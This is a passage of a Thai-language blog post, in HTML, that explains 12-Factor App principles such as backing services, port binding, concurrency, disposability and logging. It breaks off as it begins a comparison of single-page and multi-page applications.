&#xE44;&#xE14;&#xE49;</p><p><strong><em>Backing Services</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/back.png" class="kg-image" alt loading="lazy" width="1500" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/back.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/back.png 1000w, https://blog.pjjop.org/content/images/2024/09/back.png 1500w" sizes="(min-width: 720px) 720px"></figure><p>Backing Services &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48; Application &#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C; &#xE42;&#xE14;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE41;&#xE22;&#xE01;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; Application &#xE2B;&#xE25;&#xE31;&#xE01; &#xE41;&#xE25;&#xE30;&#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22; &#xE40;&#xE0A;&#xE48;&#xE19; Database, &#xE23;&#xE30;&#xE1A;&#xE1A; Cache, Message Queue, SMTP Service &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE48;&#xE07; Email, File Service &#xE04;&#xE27;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19; Environment Variables &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE01;&#xE32;&#xE23; Hard-code</p><p><strong><em>Build, Release, Run</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/build-1.png" class="kg-image" alt loading="lazy" width="1502" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/build-1.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/build-1.png 1000w, https://blog.pjjop.org/content/images/2024/09/build-1.png 1502w" sizes="(min-width: 720px) 720px"></figure><p>&#xE41;&#xE22;&#xE01;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23; Deploy Application &#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; 3 &#xE2A;&#xE48;&#xE27;&#xE19; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; <strong>Build</strong> &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE42;&#xE04;&#xE49;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19; Build Artifact, <strong>Release</strong> &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE21; Build Artifact &#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Environment &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Deploy &#xE41;&#xE25;&#xE30; <strong>Run</strong> &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE19; Application &#xE43;&#xE19; Execution Environment &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;</p><p>&#xE01;&#xE32;&#xE23;&#xE41;&#xE22;&#xE01; Build, Release, Run &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;&#xE27;&#xE48;&#xE32;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Deploy &#xE08;&#xE23;&#xE34;&#xE07; &#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23; Rollback &#xE2B;&#xE32;&#xE01;&#xE40;&#xE01;&#xE34;&#xE14;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; &#xE2A;&#xE19;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE38;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Continuous Deployment</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE22;&#xE31;&#xE07;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE25;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE2A;&#xE35;&#xE48;&#xE22;&#xE07;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Code &#xE1A;&#xE19; Production Environment &#xE41;&#xE22;&#xE01;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE44;&#xE14;&#xE49;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE17;&#xE35;&#xE21;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE42;&#xE1F;&#xE01;&#xE31;&#xE2A;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23; Build &#xE17;&#xE35;&#xE21; Operation &#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Release &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23; Run &#xE41;&#xE25;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE41;&#xE22;&#xE01;&#xE08;&#xE32;&#xE01; Code &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07; Rebuild</p><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE41;&#xE1A;&#xE1A; Microservices &#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Service &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE23;&#xE30;&#xE1A;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23; Build, Release, Run &#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;</p><p><strong><em>Processes</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/process.png" class="kg-image" alt loading="lazy" width="1500" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/process.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/process.png 1000w, https://blog.pjjop.org/content/images/2024/09/process.png 1500w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; Application &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; State &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xA0;&#xE44;&#xE27;&#xE49;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Process (No Local State) &#xE41;&#xE15;&#xE48;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE27;&#xE23;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Backing Service &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Application &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; Scale &#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A; Load &#xE17;&#xE35;&#xE48;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE36;&#xE49;&#xE19; &#xE41;&#xE25;&#xE30;&#xE17;&#xE19;&#xE17;&#xE32;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27;</p><p><strong><em>Port Binding</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/port.png" class="kg-image" alt loading="lazy" width="1500" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/port.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/port.png 1000w, https://blog.pjjop.org/content/images/2024/09/port.png 1500w" sizes="(min-width: 720px) 720px"></figure><p>Application &#xE04;&#xE27;&#xE23;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE44;&#xE14;&#xE49;&#xE1C;&#xE48;&#xE32;&#xE19; Network Port &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; Web Servcer &#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01; &#xE40;&#xE0A;&#xE48;&#xE19; Apache &#xE2B;&#xE23;&#xE37;&#xE2D; Nginx &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE19;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Application &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21; HTTP Request &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Route &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Thread &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07; &#xE01;&#xE32;&#xE23; Deploy &#xE08;&#xE30;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Scale &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE2A;&#xE23;&#xE30;</p><p>Port Binding &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Application &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE34;&#xE2A;&#xE23;&#xE30;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23; Deploy &#xE41;&#xE25;&#xE30; Scale &#xE43;&#xE19;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE41;&#xE1A;&#xE1A; Cloud-native &#xE2B;&#xE23;&#xE37;&#xE2D; Containerized</p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; PHP Application &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; Port Binding &#xE44;&#xE14;&#xE49; &#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE1A;&#xE48;&#xE2D;&#xE22;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE21;&#xE31;&#xE19;&#xE21;&#xE31;&#xE01;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; Web Server &#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; PHP Application &#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; Port Binding &#xE1C;&#xE39;&#xE49;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; PHP-FPM (FastCGI Process Manager) &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; Docker &#xE42;&#xE14;&#xE22;&#xE43;&#xE2B;&#xE49; Nginx &#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A; HTTP Request &#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; PHP-FPM Container (PHP Application)</p><p><strong><em>Concurrency</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/con.png" class="kg-image" alt loading="lazy" width="1500" height="1290" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/con.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/con.png 1000w, https://blog.pjjop.org/content/images/2024/09/con.png 1500w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; Application &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Copy &#xE02;&#xE2D;&#xE07; Instance (Horizontal Scaling) &#xE41;&#xE17;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07; Instance (Vertical Scaling) &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23; <strong>Scale &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Process &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19; </strong>(Concurrency)</p><p><strong><em>Disposability</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/dis.png" class="kg-image" alt loading="lazy" width="1502" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/dis.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/dis.png 1000w, https://blog.pjjop.org/content/images/2024/09/dis.png 1502w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE43;&#xE2B;&#xE49; Application &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE44;&#xE21;&#xE48;&#xE01;&#xE35;&#xE48;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE41;&#xE25;&#xE30;&#xE1B;&#xE34;&#xE14;&#xE15;&#xE31;&#xE27;&#xE25;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2A;&#xE07;&#xE48;&#xE32;&#xE07;&#xE32;&#xE21; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE13; SIGTERM (Signal Terminate) &#xE41;&#xE25;&#xE49;&#xE27;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE23;&#xE31;&#xE1A; Request &#xE43;&#xE2B;&#xE21;&#xE48; &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE01;&#xE48;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07;&#xE1B;&#xE34;&#xE14;&#xE15;&#xE31;&#xE27;</p><p><strong><em>Dev/Prod Parity</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/dev.png" class="kg-image" alt loading="lazy" width="1500" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/dev.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/dev.png 1000w, https://blog.pjjop.org/content/images/2024/09/dev.png 1500w" sizes="(min-width: 720px) 720px"></figure><p>&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32; Environment &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; &#xE41;&#xE25;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Application &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A; Environment &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE19; Production &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE25;&#xE35;&#xE01;&#xE40;&#xE25;&#xE35;&#xE48;&#xE22;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21; Surprise &#xE25;&#xE14;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; &quot;<strong>Works on my machine</strong>&quot;</p><p><strong><em>Logs</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/logs.png" class="kg-image" alt loading="lazy" width="1500" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/logs.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/logs.png 1000w, https://blog.pjjop.org/content/images/2024/09/logs.png 1500w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE43;&#xE19; Application &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE41;&#xE25;&#xE30;&#xE41;&#xE01;&#xE49;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE44;&#xE14;&#xE49; &#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22; Process &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE2B;&#xE25;&#xE32;&#xE22; Service &#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A; Logs &#xE04;&#xE27;&#xE23;&#xE16;&#xE39;&#xE01;&#xE23;&#xE27;&#xE21;&#xE28;&#xE39;&#xE19;&#xE22;&#xE4C; &#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Service &#xE44;&#xE21;&#xE48;&#xE04;&#xE27;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A; Log &#xE40;&#xE2D;&#xE07;</p><p><strong><em>Admin Processes</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/admin.png" class="kg-image" alt loading="lazy" width="1500" height="1290" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/admin.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/admin.png 1000w, https://blog.pjjop.org/content/images/2024/09/admin.png 1500w" sizes="(min-width: 720px) 720px"></figure><p>&#xE04;&#xE27;&#xE23;&#xE41;&#xE22;&#xE01;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23; Migrate &#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE01;&#xE32;&#xE23;&#xE17;&#xE4D;&#xE32; Data Cleansing &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE02;&#xE2D;&#xE07; Application &#xE41;&#xE15;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Codebase &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE41;&#xE1A;&#xE1A;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Application &#xE2B;&#xE25;&#xE31;&#xE01;&#xE1C;&#xE48;&#xE32;&#xE19; Environment Variable</p><h2 id="single-page-application-vs-multi-page-application">Single Page Application vs Multi-Page Application</h2><p>&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE19;&#xE33;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07; 12-Factor App &#xE21;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE22;&#xE38;&#xE01;&#xE15;&#xE4C;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; Backend &#xE43;&#xE2B;&#xE49;&#xE1A;&#xE33;&#xE23;&#xE38;&#xE07;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Scale &#xE44;&#xE14;&#xE49; Single Page Application (SPA) &#xE01;&#xE47;&#xE40;&#xE1B;&#xE47;&#xE19; Modern Frontend Framework &#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE01;&#xE31;&#xE1A; Backend &#xE17;&#xE35;&#xE48;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE1A;&#xE1A; Microservices 